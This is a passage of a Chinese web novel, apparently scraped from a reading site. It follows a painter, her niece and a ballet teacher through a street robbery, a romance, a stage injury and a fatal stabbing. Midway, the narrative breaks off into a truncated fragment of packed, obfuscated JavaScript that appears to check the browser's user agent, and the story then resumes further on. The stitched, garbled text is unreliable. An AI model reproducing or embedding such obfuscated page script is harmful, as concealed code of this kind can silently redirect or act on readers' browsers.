“温柔…对不起,以后妈妈在也陪不了你了。 妈妈病了,之前吸dú落下很多病,医生说妈妈可能活不过这几个月,妈妈也想回家,可妈妈没有勇气再回去。” 这件事苏轻曼没有告诉任何人,或许要不了几个月她从这个世界消失也不会有人知道。 她放心不下的只有温柔,唯一的愿望是希望温柔健康快乐长大,她欠她太多太多,这辈子还不清了,那就下辈子一并补上吧,这可能是她们最后一次见面了。 这天温默颜在画室里画画,电话这时候响起来,看了眼来电人名字,温默颜放下画笔接通电话。 “哥,你大忙人今天怎么有空打电话找我?” 温默颜知道这家伙无事不登三宝殿,找她肯定有事。 “默颜,哥想拜托你件事。” “该不会你又出差让我帮你带温柔吧?”温默颜汗颜,她就知道没好事,早知道就不接了。 “还是妹妹懂大哥,不过这些都只是次要,其实还有件事需要你的帮忙…”电话那头男人欲言又止。 “到底什么事,一次性给我说完,我没闲功夫陪你在这儿唠。 等我赶完手里几张稿就去把温柔接来。” 温默颜开免提把手机放在一旁,手上当然没闲着拿起颜料开始上色。 “兴趣班老师在六一那天带孩子们举办节目,家长都要到场,哥哥不是没时间吗,你就帮帮哥哥好不好? 我的好妹妹,哥哥知道你最好了,温柔肯定也希望你到时候去看她表演。” 温默颜想在现场给她哥来一套降龙十八掌,刚才他那声酥酥的好妹妹吓得她拿笔的手一抖,即将快要完成的画被一道突兀的黄颜料给毁了。 “温浩,如果没别的事就先挂了,乘我还没生气…” 温默颜欲哭无泪,这可是她画了三天的作品就这么给毁了,真想给她哥来几拳。 “你怎么了,突然叫哥哥的名字,咕噜~我是不是哪儿又惹你生气了。 你不想去的话我可以向江老师解释的。” 听到温默颜叫自己全名的时候,温浩有种大难临头的感觉,温默颜这样叫他准没什么好事。 “我没说不去。”温默颜冒出来一句,温浩如获重释松了一口气。 “能去就好,能去就好…” “我会去,现在该算算我跟你的事。” 温浩感觉空气凝重起来,得找借口开溜呀。 “突然想起来和还有事,你先忙,我先挂了哈。” “温浩!……” 还是温浩手快,电话那头嘟嘟嘟的忙音,温默颜没发泄出来的怒火全撒在了画上。 “没天理,别人家的哥哥万般好无可挑剔,自家哥哥除了工作就是温柔…妥妥的女儿控,我这个妹妹怕不是捡来的,从小打到大都习惯了。” 温默颜看着如同鬼画符的作品,实在看不下去了将画揭下来丢进篓子里,篓子里装满了画废的纸张,温默颜叹了口气,看来今天不宜画画,还是去朋友店里坐坐,说不定能找到新灵感。 “姑姑这是哪儿呀,里面有好多小喵喵,好可爱。” 温柔刚放学就被温默颜带到一家猫咖店门前,透过玻璃能够看到店里穿梭在客人脚下的猫咪们,温柔目光直勾勾的盯着。 “温柔,你不是喜欢小猫咪吗?你爸爸又不准你养…今天姑姑就带你尽情撸猫,我不会告诉你爸爸的。” 温默颜揉了揉温柔的小脑袋,今天是周三,温柔不用去兴趣班练舞,这么多时间够带她好好玩一玩。 “真的吗?姑姑我摸它们,抱它们,给它们喂吃的,姑姑都不会告诉爸爸。” 温柔眼睛里流露出渴望,温默颜点点头。 “姑姑万岁!”温柔高兴的跳起来。 “还在等什么,快进去吧。” 温默颜拍拍温柔。 “姑姑我们要一起,不是吗?”温柔握着温默颜的手,一同进到店里,这一刻她感觉到温柔长大了。 “欢迎光临,两位吗?我们这里有规定,进店需要戴鞋套,这里有消毒液,先进行消毒哦。 店内的猫猫们都打过疫苗,还是要注意在相处时小心它的爪子哦。” 猫咖店里有两名店员,温默颜跟温柔刚进店,过来一个年纪不大的女生,看样子是在这里做兼职的学生,在一一讲完注意事项后,指了指一旁放有鞋套和消毒液的地方,拿来一张菜单递到温默颜手中。 “谢谢提醒,我们会注意的,今天你们店长不在吗?” 温默颜接过菜单看了看又还了回去,菜单上的东西她不用看,早已烂熟于心了。 “抱歉,今天店长休息没在店里,请问小姐找我们店长有什么事吗?” 店员看向温默颜,印象里没见过温默颜…难不成是店长女朋友来查岗的! “好了温柔先进去吧,姑姑待会儿再过去。” 温柔点点头开心的进去了,店员微笑着站到一边。 “没在吗?不在也好,省得在我耳边叨叨。” 温默颜打个哈欠,白师兄那家伙实在太缠人,自己不想着怎么创新品吸引顾客,倒头来指望她,要不是她每隔段时间研究出几个新品丢给他,他这选址偏僻的猫咖生意能一直像现在火爆? “看样子店长和小姐的感情很好。” “不不不,我跟他没感情,他还欠我一百块钱呢,想想就一肚子火。 麻烦给我来一杯蜂蜜爆爆冻,一份芒芒乐,谢谢。” 温默颜点了一份甜品和一抔喝的,看着跟猫咪们玩到一块的温柔,欣慰的笑了笑,准备找位置坐下拿手机拍张照片就听到温柔的叫声。 “啊…”一下子吸引过来店里客人的目光。 “温柔怎么了?”温默颜抱起受惊吓的温柔,她惊慌失措的样子想必很担心温柔。 “姑姑,角落里那只小猫长得好奇怪啊。”温柔用手指向躲在角落里的一只田园猫。 它只有半条尾巴少了只眼睛,看上去一副不好惹的样子。 “温柔别怕,它长得不奇怪哦,它是姑姑救的第一只猫,胆子很小的,温柔如果不喜欢它的话,这里还有其它猫咪可以摸的哦。” 温默颜安心的放下温柔,随机抱起一只毛色雪白的猫送到温柔面前,温柔摇摇头没有伸手去摸。 “温柔在想什么?”温默颜还是第一次见温柔对自己喜欢的动物无动于衷。 “姑姑那我能摸摸它吗?它很特别不是吗?”温柔蹲下去,摊开手放上猫粮示意那只猫过来吃,它没有反应反而往后退了退。 “温柔叫它名字试试,目目过来。” 神奇的一幕发生了,温默颜叫猫的名字时,它真的很听话的靠了过来,试探性在吃起温柔手里的猫粮。 “好神奇呀,目目…姑姑你说它会不会喜欢我。”温柔看着温默颜,她鼓起勇气摸了摸目目,它没有躲开,它很瘦,温柔萌生了领养的想法。 “也许吧,玩够了就过来吃东西。”温默颜坐在离温柔稍近的位置上,拿手机拍下几张照片保存下来 甜点和饮品端了上来,温默颜说了声谢谢。 透过玻璃窗看店外的风景更是别有一番风趣,远离深居闹市更像是一处与世隔绝的桃花源。当初白师兄选在这儿开店还不是看上这里租金比别的地方便宜,嘴上老说着“酒香不怕巷子深,吃货不怕路太偏。”两句,后一句也不知道他是从那个地方道听途的,耳朵都快听出茧子了。 “来人啊!有人抢包啦!有没有人帮忙啊。” 一声尖叫划破宁静,温默颜看到猫咖外一闪而过身影,身后是女人如雷般的哭喊声…女人看到猫咖时仿佛看到了救星。 任凭她怎么大哭大叫,店里的客人仿佛见怪不怪,全当没听见一样,她不过只想寻求帮助。 光天化日抢劫还有没有王法,温默颜看着那可怜的女人,惩恶扬善的想法油然心生。 “温柔你就乖乖呆在这儿,姑姑一会儿回来,姑姑要去干一件大事。” 温默颜嘱咐温柔一句,鞋套都没来得及脱夺门而出。 “我帮你吧。”没等哭哭啼啼的女人反应过来,她已经追上去了。 “站住,这么做就不怕遭雷劈吗?” 温默颜不知道追了多远,没记错的话从猫咖出来都追好几条街了吧,腿开始发酸发软,看着小偷的身影别提多来气。 “臭娘们,你怕不是傻子吧,你都追了我几条街?再说那个女人跟你有关系吗,遇上我的反正运气都不怎么样。 叫我站住就站住?你以为你是谁呀?我又不是傻子,有本事就追呀,没本事就喊人看看大街上有谁会搭理你,管事佬…呸。” 男人嚣张的向温默颜扬了扬抢来的手提包,她这个小身板想虎口夺食,也不看看自己有没有那本事,几斤几两都不知道。 “你嘴巴给我放干净点,就是因为这世上有太多冷漠的人,你这样的坏人得不到惩罚才敢这么无法无天。 正义不会迟到,今天这事我管定了,包你别想带走,你也别想走。” 温默颜像从天而降的正义使者,向男人逼近,男人丝毫不紧张,像她这种不知社会险恶的年轻人他见得多了。 “哈哈哈,就你也配伸张正义?你算老几,还是老老实实滚回家找人嫁了生孩子去吧。 你什么都做不了,什么也改变不了,再说你又能把我怎么样?简直就是个笑话。” 男人肆无忌惮的笑声,路人投射过来怪异的眼神。 温默颜头一回被人当街如此羞辱,气不打一处来也不知道哪儿来的勇气,五步并作三步冲到男人面前,死死盯着那个男人。 男人被她的目光吓了一跳,转念一想自己一个大男人难道还怕一个女人,传出去怕不被人笑话?随后露出一副凶神恶煞的样子看着眼前比自己矮半头的温默颜。 “道歉!”温默颜开口的第一句惹得男人连连大笑。 “哈哈哈,你有没有搞错,我给你道歉,笑死人了。警告你别妨碍老子,识相的给我滚开,到时候可别怪我不怜香惜玉。” 他不是不想动手,在大庭广众之下动手不好脱身,面对这个难缠的女人实在让人伤脑筋。 “你听不懂人话吗?我叫你道歉!”瞬间温默颜气场冷的吓人,她已经不在乎什么包不包的了,她要为自己的尊严而战。 “你TM脑子有病吧,我看听不懂人话的是你吧!让我道歉…也不看看自己几斤几两。” 说着男人准备动手,没想到温默颜的反应比他还快。 “啪…”男人左半边脸实实挨了一巴掌,脸上很快出现了红印。 “靠!我看你是不想活了!” 男人捂着左脸,他还没遇到过像今天如此蛮横的女人,看来不用点硬功夫今天是走不成了。 “我说…给我道歉!”温默颜红了眼眶,她从没受过这种委屈。 “行,我道歉…看你有没有这个机会听了。”说完从腰间抽出一把小刀直直朝温默颜刺了过去。 温默颜那见过这种架势,心中大惊。 “难道今天要交待在这儿了吗?”温默颜一脸苦笑,她还有好多事情没做完呢,不想自己会是以这种方式离开。 在男人拔刀的时候,路人终于有了点反应。 有的人站在原地吓得尖叫,反应要比温默颜这当事人还要厉害万分,有的人却是一副吃瓜的样子甚至拿出手机拍视频,有的人索性在现场来了个直播,没有人选择报警或上前帮忙。 “烦人精你可以去sǐ了。”男人嘴里大骂,刀尖还有离温默颜不到一寸的距离,她认命的闭上双眼却没感受到想象中疼痛。 “啊!”只听男人一声叫喊,温默颜睁开眼。 男人一脸痛苦的倒在地上,刀不知什么时候掉在了地上。 有的路人拍手叫好,有的见没有什么热闹看就走开了,温默颜还没搞清楚原因,眼前出现一张熟悉的面孔,一时想不起来。 “你救了我?”温默颜还有点懵没反应过来。 “我只是路过,看到有人举刀当街行凶,出于本能就动手了,好歹也是练过的随手解决的事。 你现在安全了,待会儿有jǐng察过来带走这家伙的。 他今天很不走运遇上了我,废他一只手算轻的了,真是一点不经打。” 温默颜终于知道地上的男人为什么表情痛苦的扶着自己一只手,看样子骨头恐怕断了吧,温默颜害怕的抖了抖。 “谢谢你救了我,我能问你一个问题吗?” “你问。” “我们是不是见过?”温默颜觉得她们在那儿见过,可自己怎么也想不起来。 “见过,我记得你,你是温柔的家长。我们之前就见过,你忘了吗?”江傃念看着温默颜,怀疑温默颜记性是有多不好,这才多久就一点印象没有了? 她能记住温默颜是因为那挥之不去的味道,她跑过很多家甜品店都没有她吃到与之同样的味道,这些天她破天荒胖了半斤,那个味道也一直被她念到今天。 没想到今天路见不平救下的人会是温默颜,真是踏破铁鞋无觅处,得来全不费功夫。 “哦~我想起来了,你是温柔的舞蹈老师,江老师!”温默颜一点就通,很快想起她是谁了。 “江老师我要怎么感谢你好呢,不知道能为你做点什么以表我的谢意。”温默颜激动的抓住江傃念的手,劫后余生的喜悦只有她知道,她是真的发自内心想要报答江傃念。 “不用麻烦,随手的事,换作其他人我也会这么做。”江傃念在说这句话的时候目光转向周围的吃瓜群众。 有幸见识过江傃念一脚能踹断手的路人吓得大气不敢出,害怕目光停留在自己身上,围观的人一哄而散。 “如果没有你我早躺下了,我是真想感谢你,难道连一个让我表现的机会都没有吗?” “如果非要感谢我的话,能告诉我上次你给温柔带的甜点在那家店买的吗?” “如果非要感谢我的话,能告诉我上次你给温柔带的甜点在那家店买的吗?”她的这个问题对于温默颜来说再简单不过。 一是不想为难温默颜,二是为了满足一下自己好奇,为什么去过那么多家店就是买不到和那天一模一样的味道。 “这么简单?没别的了?”温默颜不可思议的看着江傃念。 “正如你听到的那样。”听到江傃念的肯定回答后,温默颜笑了。 “不是买的,那是我自己做的,江老师如果喜欢的话,等过几天我做好让温柔给你带过去。 你可以尽管放心大胆吃,不用担心发胖问题,这是我的独家制作,别的地方可是吃不到哦。” 听到不是买的江傃念有些失望,听完后面江傃念兴奋的一把抱住温默颜,她算不算是捡到宝了! “江老师,我要喘不过气了。”没想到江傃念会突然的抱她,说实话她还有点害怕。 “抱歉抱歉,没弄疼你吧,我太激动了力气大了点,” 江傃念松开温默颜,询问她的情况。 “没事没事,我理解江老师的心情。不好!江老师他想跑!” 原来男人趁两人注意力没放在他身上,就想借此机会逃跑,万万没想到还是被发现了。 “姑奶奶,求你饶了我吧,包还你还不行吗,我向你道歉,怪我不知天高地厚的臭嘴,该打。 我有眼不识泰山,你们就饶我了这一次吧,我以后不敢了。” 看着过来的两人,男人有种sǐ到临头的感觉。 他没了嚣张的资本,再神气不起来了,这手看样子十有八九是废掉了,男人忍着痛把包递给温默颜。 “他抢了你的包?”江傃念终于知道为什么会发生举刀刺人那一幕了。 “包不是我的,拿回来就好,但不能这么轻易的放过他,还是等jǐng察来处理吧。”对于这种社会败类温默颜绝对没有原谅一说,江傃念这是做了件好事。 “嗯,都听你的,他要再不老实我就废他一条腿。”别看江傃念长得瘦瘦高高,看上去没什么战斗力,可她的力量不容小觑,永远都不要小看自己的敌人。 听到这话男人吓得瑟瑟发抖,今天走的什么狗=屎运,遇到的都是些什么人呀,暴力女,此刻他多希望jǐng察蜀黍能快点来将他带走,他怕在这女魔头手里活不过一秒。 温默颜被好好教育了一顿,在不清楚情况且勿盲目见义勇为,这种做法是错误的。 还好物归原主,没让温默颜一片好心被辜负,包的主人将事情起因说明清楚,事情前因后果一目了然,温默颜也算做了件好事。 等她们录完口供从警局出来天色已经暗了,下起了小雨。 打伞的大人抱着小孩路过她们两个面前,看到孩子,温默颜想起了什么。 “你是有什么东西忘在警局了吗?” 刚才还有说有笑的温默颜眉头紧皱,止步不前,看上去有什么心事,江傃念不记得她们走的时候有什么东西忘拿了呀。 “该死,我把温柔给忘了,恐怕还在店里等我呢,希望猫咖还没打烊。 江老师能借你手机看一下时间吗?我手机没电了。” 温默颜猛拍了下脑门,可算是想起遗忘在猫咖的温柔。 “应该来得及,现在八点一刻。”江傃念拿出手机看了下时间。 “非常感谢,那江老师我就先说再见,今天很幸运遇上你。 现在我要去带温柔回家,等下次见面一定好好谢谢你。” 得知时间温默颜就跑去拦的士,雨还在下着。 “温柔家长,要不我陪你一起去吧?” “哦,不劳江老师费心了,从这儿过去也不是很远,下雨了江老师还是早点回去吧。 你不用叫我温柔家长,听起来怪变扭的,还是叫我名字吧。” “哦好,温小姐再见,期待我们下次见面也期待你的点心。”虽然知道了温默颜的名字,她和温柔的关系,自己不好意思叫还是换了种叫法。 温默颜不计较这些,她被江傃念的直爽逗笑。 “江老师你真幽默。” 上车后她对江傃念说:“你放心吧,我承诺的事情不会忘的。 回家路上小心虽然我的担心有些多余。” 江傃念强忍住没笑出来,她那听不出温默颜的意思。 目送温默颜离开,她低下头看着温默颜握过的手,再也压抑不住的笑容浮现在她脸上,她萌生了一个大胆又疯狂的想法。 虽然才只见过两次面,江傃念已经开始期待她们下一次的见面了,冲着温默颜人长得标志又会做好吃的方面,说什么也要成为她的食下臣。 一回生二回熟,一切仿佛在冥冥之中就注定好的,她们见面的机会还有很多。 老一辈人说心急吃不了热豆腐,可江傃念偏偏就想趁热吃几口烫嘴的。 六一这天,温默颜早早把温柔送到兴趣班交给老师,等老师们给孩子们梳妆换服装的时候,温默颜离开了一阵,等她回来手里多了束玫瑰。 上回她把温柔忘在猫咖,等冒雨去接的时候,温柔赌气不愿意跟她回家,温默颜极力解释,可温柔就是不想听,一心认为温默颜变了,变得不像以前那么爱她在意她了。 温默颜没法拿出了对付温柔的绝招,讯问温柔想要什么,温柔想了想说想在六一那天表演结束后得到一束温默颜送的花。 看着天真无邪的温柔,温默颜答应在六一那天一定送花,温柔这才消气跟她回家。 距离演出开始还有半小时,别的孩子家长也都陆续赶到,在老师的带领下家长各自找位置坐下,静等待演出开始。 温默颜坐在离舞台较远的左侧最后排,她捧着花,目不转晴看着中央的舞台,有些期待接下来的表演了。 灯光在这时全部熄灭,没做好准备的家长被突如其来的变故吓了一跳,还以为停电了,不过没有尖叫出声,不然自己得有多尴尬啊。 舞台灯光亮起音乐响起,演出正式开始了。 第一场因为有孩子紧张跳错舞步,引得其他孩子忘了下面要跳什么,惹得台下家长大笑,还有的家长拿出手机录视频发到朋友圈。 ……… 一个接一个的节目,有些家长哈欠连连,可能是因为没有什么看点他们无聊的都犯困了。 温默颜看到温柔上了两次舞台,其中一次是独舞,看着温柔第一次当这么多家长的面登台表演,丝毫没有感到紧张,她的自信是别人模仿不来的。 舞台灯光较亮温默颜没有拿手机录下来,她差点儿就没忍住想冲上去把花献给温柔然后再好好夸夸她,还好她克制住了内心的冲动。 等孩子们下台很长时间没人上场,家长以为表演已经结束了,准备起身离开之际,灯全部亮起,音乐响起,这次的音乐不同于前面,这次的音乐婉转空灵…让按耐不住性子想离开的家长又坐回位置上。 舞台上出现穿着舞裙的孩子们,她们围着中间的江傃念,像坠入凡间的仙子一样。 “好美。”温默颜发自内心的赞叹,江傃念是万能的好像没有她不会的,她掏出手机拍了几张照片。 这场压轴惊艳了在座的所有人,黑天鹅倒地…舞台灯灭了,今天的表演到此也就结束了。 现场响起如雷的掌声,更有的家长激动的站起来鼓掌尖叫。 “好!!” “当初把孩子送来跟江老师学芭蕾是正确的选择,真是太棒了。” “听说江老师的演出一票难求,今天托了孩子鸿福有幸一见,太美了。” “江老师二十好几好像还是单身,看来我那堂弟有机会喽。” 演出结束,人散得差不多了,温柔换下服装穿上衣服跑出来找温默颜。 温默颜一直守在门口等她出来。 “姑姑,姑姑你看了吗?快说说怎么样,今天温柔跳得舞好不好看。温柔是不是很厉害。” 温柔脸上的妆都没卸,急冲冲跑向温默颜一把抱住大腿,仰头看着温默颜等待夸奖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花很漂亮,多谢温小姐美意,花你还是拿回去吧。” 江傃念被温默颜怼到眼前的玫瑰吓怔住,她原本只是打个招呼,然后带她们去吃东西,事情却变得越发不可收拾了。 “哼,姑姑说话不算数,温柔不跟姑姑玩了,哼~”当着她面把答应好送她的花转手送给了别人,心里多少有点醋意。 “温柔别闹,不然姑姑不带你去水族馆了,直接送你回家。 江老师你就收下吧,粉色不小家子气。 鲜花配美人,想来也对俗花那配得上你的美。”温默颜说起好话来不打马虎眼。 “温小姐你太客气,这花我不能要。” “温柔你过来,既然江老师不收,那这花姑姑就给你了,你先到一边玩吧。”见江傃念执意不收她的花。转手就塞给温柔把她支到一边。 “江老师有时间一起吃个饭吗?”温默颜看向江傃念。 “好啊,我还想待会儿去那儿吃呢。”江傃念想起这附近新开办的小吃街,她还没去过。 “那我们一起…”温默颜压制住内心的雀跃。 “好啊,别忘了温柔。” “不会的不会的,我们现在就出发。” 后面温默颜的画作越发精彩,日渐高涨的知名度不亚于当年一舞成名的江傃念,她受邀参加不少采访节目,她没有因此感到高傲,不温不燥继续过着自己的生活。 众多画作之中有一副是温默颜引以为傲的。孤寂的舞台中央一位翩翩起舞的舞者,舞姿动人,宛若尤物。仿佛活了一般,没有音乐却让人深临其境无声胜有声。 温默颜和江傃念两人关系更进一步,江傃念用她的舞征服了温默颜,温默颜则用她的手艺征服了江傃念,两人没有捅破中间那张纸,彼此也心知肚明。 江傃念参加演出会为温默颜留一张vip席的票,温默颜开办画展会邀请江傃念参加。 她知道江傃念喜欢吃甜食,每天变着花给江傃念准备各种不重样的甜食。江傃念还会感叹自己为什么不是男的,那样她就可以把温默颜娶回家藏起来。 机缘巧合温默颜知道了江傃念怕黑的秘密,看着平日天不怕地不怕又能打的江傃念在黑暗中弱小无助的样子,温默颜在心里告诉自己这辈子护定她了。 温默颜先开口,看着神色紧张的江傃念,温默颜还以为她不乐意,下一秒她被一把抱进怀里,她们走到了一起,过起没羞没臊的日子。 她们以为会一直幸福,黑婚纱配得上白婚纱,温默颜幻想过她们的婚礼得有多盛大,江傃念骂她不要脸,谁说要嫁她了,那也应该是她娶她,说完江傃念脸上浮上红晕,温默颜在一旁笑话她。 幻想终究很美好,现实终是那么残酷不解风情。 一次特邀出演中因舞台搭建不善中途坍塌,台上众人从舞台坠落,每人都受到大小不同的创伤。 江傃念情况最严重,一根钢筋直接刺穿了她的大腿,她痛苦的嘶吼声响彻大厅,逐渐没了知觉陷入黑暗,周围像冰窟散发着寒气,江傃念觉得好冷却找不到出口。 再到她醒来发现周围环境变了,躺在病床上还吊着药水,看着靠在床沿睡着的温默颜,她本想坐起身,大腿传来刺骨的疼痛让她打断了这个念头。 “你醒了感觉怎么样,可吓死我了,我好担心你。要是没有你我该怎么办。” 温默颜被她动作惊醒,一时没忍住泪水一涌而出,她憔悴的模样映入江傃念眼中,她紧紧握住江傃念的手,生怕这是个梦,害怕下一秒江傃念就没了。 “别哭,我不是还好好的吗?不许哭,不然我生气了,你是不是都没休息好瞧瞧都有黑眼圈了,我会心疼的。” 江傃念这时候还不忘打趣温默颜,温默颜被她逗笑,她却笑不出来,她清晰记得发生了什么,对于一个舞者而言…有一双健全的腿是多么重要。 她可能都无法在登台演出了,江傃念心事重重的模样让温默颜担心。 “我的腿还有机会恢复吗?” 江傃念看向温默颜,眼神中的炙热让温默颜害怕。 “医生告诉我,你的情况较为严重,坚持恢复锻炼是不会影响行走的。” 温默颜不知道怎么去安慰她,看着躺在病床上的江傃念,她觉得自己好没用,什么都帮不上。 “哦…”江傃念心里有了答案,她闭上眼,她需要时间去接受这个现实。 江傃念出院后,温默颜一直照顾她,两个多月伤口恢复的差不多。 后面大部分时间温默颜牵着江傃念在家里来回练习行走,刚开始江傃念感到万般不适,不过她都坚持了下来,慢慢脱离了轮椅,她重新站了起来,久违的笑容也回来了。 “神神秘秘的,偷偷背着我藏什么好东西了?” 在画室赶稿的温默颜接到江傃念电话,没说几句被她挂断了,按照江傃念的指示来到汇演厅。 乌黑一片,温默颜拿出手机照明,眼前一幕吓她一跳,原来已经有不少人在这儿坐着了。 温默颜还纳闷他们怎么都不出声,不知道人吓人吓死人啊,她发现自己想错了大错特错的那种。 开门进来不到片刻,有人开始议论纷纷,甚至有人肆无忌惮大笑起来,虽然没听清在说什么,听到了几个字眼,什么舞者…事故受伤,想复出…博眼球。 温默颜很反感这种人,她没有冲动默默找了位置坐下。 她拿出手机给江傃念发消息问她怎么回事,迟迟没有得到回应,音乐响起灯光亮起那刻…温默颜心中隐约感到一丝不安。 本该在家休养的江傃念穿着芭蕾长裙迈着轻盈的舞步在台上起舞,完美到让人看不出她那有不对的地方,台下的眼晴都看直了。 温默颜的心一直紧揪着,生怕这祖宗中途出什么事,她表现太过冷静了。 果然担心的事还是发生了,音乐眼看就到了高/潮,很多人期待的精彩就要来了,江傃念却突发状况。 是的,因为腿部巨大的疼痛江傃念摔倒在了舞台上,台下唏嘘声一片。 温默颜看到江傃念摔倒顾不上什么直接冲去,想要扶她起来却被一掌推开。 “你走,我不需要你可怜。”江傃念冷冰冰回了一句,殊不知她随口说出的气话有多伤温默颜的心。 温默颜伸着手傻傻单膝跪在那里,江傃念想靠自己爬起来,还没等她站稳又摔倒下去。 “算了吧,今天就不该来的,都被现实淘汰了还不老老实实在家养病。” “还跳不跳了,浪费时间,我们时间很宝贵的,你已经是过去式了,如果你没受伤,我相信我比谁都想坐在这儿。” “我看你还是找个人嫁了吧,相夫教子才是你最后的归宿,别在这儿丢人现眼,舞台不再是属于你的战场了,滚吧!” “我们走,没兴趣,还以为跳的有多好,真是垃圾…呸…” “今天我约了美甲,真是浪费时间,她以前是这个(竖起大拇指),现在连我三岁女儿跳得都不如。” “…………” ………… 台下人说话越来越过分,最后一哄散尽,温默颜看到江傃念身体在颤抖。 “别怕,我一直在…” 温默颜侧倒在江傃念身后紧紧抱住她,音乐还在继续,暖色的灯光为她们渡上一层保护的颜色。 “默颜,我是不是很没用,对不起,刚才我凶了你。” 江傃念小声抽泣,受伤那天她没哭,她以为等伤好了一切都会好起来,可惜她想错了… “你心里有苦,我怎么会生你的气,无论你想做什么我都永远支持你。” 温默颜摸摸她的头,宽阔的汇演厅就剩下她们两个人。 “默颜,有你真好。你都看见了以后你可要养我养一辈子啊,不准赖皮。” “嗯…” 温默颜扶起江傃念,看着空荡荡的台下,音乐还在演奏,灯光依旧绚丽多彩。 “要不要我送你回去,先医院去看一下。”温默颜有点担心江傃念。 “不了,一切都还没结束,我不是还有你吗,你先让我把这场舞跳完吧。” 江傃念摇头,她放开温默颜扶她的手,摇摇晃晃艰难站直身体。 “撑得住吗?不行就回去。” 温默颜不放心,生怕她又出什么事。 “没事,你下去找个位置坐吧。”江傃念对温默颜点点头,示意她不要紧张。 温默颜听话的走下台,坐在靠近舞台的第一排,目光停留在江傃念身上。 “我有一个秘密没对你说过。小时候的我很胖,看到电视上的芭蕾舞就深深喜欢上了芭蕾,别人都笑话我胖是练不成芭蕾的废料,我中间几次哭着想过放弃,我真的不适合跳芭蕾… 如果没有我妈妈一路鼓舞和支持,我恐怕早就放弃了,还好我成功了。 妈妈前年因病离我而去,为此深受打击感到自责,还好遇见了那群可爱的孩子给了我勇气走了出来。 现在我只有你了。。” “傃念,是我来迟了,让你吃了这么多的苦,以后就由我来守护你好吗?” 温默颜泪流,想不到她的女孩在遇上她之前一个人承受这么多苦,灯光照在江傃念身上仿佛置身在阳光之下,她想抱住她,告诉她一切有她,尽管肆意生长就好。 “我的脚尖只为舞台和你而踮,温小姐让我为你跳完这最后一支舞吧。” 江傃念站在台上,台下没有其他观众,迎着谢幕前的音乐灯光,向她的女孩献上最后一舞。 江傃念从今往后就再与芭蕾无缘了,人一旦失去信仰…温默颜知道这意味着什么,以舞为傲的舞者失去了“灵魂”跟行尸走肉没有什么区别。 今后的日子里,温默颜在画室里忙着作画赶稿,江傃念坐在阳台休闲椅上拿出毛线团织着什么,小院儿里种满了她喜欢的花,阳光透过玻璃照在身上,整个人都暖哄哄的。 “默颜,你想结婚吗?” 江傃念很突然问了温默颜这个问题。 “想啊,我连做梦都想和你结婚,养一个属于我们孩子,我这辈子就无憾了。 怎么是不是想开要嫁我了?” 厨房里做甜食的温默颜抬头,一脸坏笑,听到结婚这事激动的面粉都溅到脸上。 “你准备办一个怎样的婚礼?” “当然是办你喜欢的,一切按照你喜欢的样子去置办,我相信我们的婚礼一定是最盛大浪漫的,如果钱不够我这里还有,再不济我拿出温柔以后的红包养你。”温默颜乐得像个傻子一样。 “好啊,那说好了,婚礼一切事物由我全权布置采买,到时候可别后悔和我结婚。” “不会,打死我都不后悔,开心还来不及呢。” 画心为牢 “江傃念!你个大骗子,说好的一辈子,你怎么说话不算数,你还欠我一场婚礼,你睁开眼睛看看我,看看我啊! 你别睡好不好,这一点也不好玩,看看我…傃念!你不起来和我结婚就不怕我反悔了嫁给别人吗? 再看看我好吗?别丢下我,你还没看我穿你挑选出来婚纱的样子呢,” 温默颜握着江傃念冰冷的手哭泣,脸上没有一丝血色还有几处淤青,她再也不能对温默颜做任何回应… “很抱歉用你爱人的手机给你拨打电话,她的手机上只保留了你一个联系人,我们发现她时身受重伤,现在已送往XX第一医院抢救治疗,你能过去一下。” 听到这个消息温默颜整个人都是懵的,突如其来的一通电话让她心乱如焚,她丢下未完成的作品马不停蹄赶到医院。 还是晚了一步,江傃念伤势严重失血过多送到医院太迟了,最后抢救无效宣判死亡。 一个活生生的人现在变成了一具冰冷不能言语的shī体,换做是谁都接受不了这个事实,温默颜也一样。 江傃念早上还跟她说有事外出很快就回来,温默颜不忘嘱咐几句让她路上小心早点回家,现实却是她当了‘逃兵’丢下温默颜一个人去了远方再也不回来。 “节哀人死不能复生,江小姐也一定不希望你如此伤心。 后面的事情交给我们jǐng察来办吧,我们一定会调查出到底是谁害了江小姐,为她讨回公道,等捉到凶手我们会通知你,你先回去等我们消息吧。” 温默颜不知道自己是怎么熬过那漫长而煎熬的几天,终于等到jǐng察局传来的消息,凶手迫于心理压力选择自首了。 温默颜知道了凶手是之前抢包的那个男人,那天他在路上遇到外出的江傃念,见她孤身一人临时起意想要报复几月前的骨折之痛,联合他的同伙堵住江傃念想给她点教训,杀害江傃念纯属失误,他从末想过要杀了她。 双方脸上都挂了彩,同伙见两个人连个女人教训不成还挨了揍,恼羞成怒拿出他们的杀手锏想吓唬吓唬她,刀直直朝江傃念刺过去,她本可以躲开但她没有,刀在拨出来那刻刀尖还沾着血,江傃念捂着伤口倒在地上,看到见血他们怂了。 刺伤江傃念后,因为害怕没有报警,扔下倒地的江傃念慌忙跑了,谁都没想过她会死。 温默颜既没哭也没闹死死盯着那个男人,听完审讯一言不发回到了家。 从床底搬出个箱子,里面装着江傃念的遗物,从中翻出来两个盒子,盒中装的东西是江傃念留给她最后的念想。 这是警方交给她的,江傃念一直把这个紧攥在手中,视若珍宝。他们废了好大劲才拿出来,现在物归原主。 那是江傃念生前定制的两枚女士对戒,上面还沾有她的血。 那天她外出就是为了去取回它,准备给温默颜一个惊喜,造化弄人,她不可能再回来了,丢下温默颜一个人在世上背负着她离开后的痛苦。 “我爱你…也恨你…下辈子再相遇记得拉紧我的手别走散了。” ——正文完—— 花开念旧人 匆匆那年又一夏,不知道过了多少个春秋,院里的花开了又谢,它到了来年还会再开,一年比一年鲜艳美丽。 温默颜不再是年少的模样,时间在她的脸上留下了痕迹,她到如今还是孑然一身… 温柔转眼成了大姑娘,留学回来参加了工作,一切按部就班,交了一个外国男友没几年温柔结了婚还有了可爱的儿子举家定居去了国外,最后温默颜连个能说话的人都没有。 每天能做的事就是坐在院里晒晒太阳,打理打理院里的花,浇浇水、除除草,这是江傃念生前很喜欢做的事。 可能是年纪大了她的身体一天不如一天,时不时感到头疼。 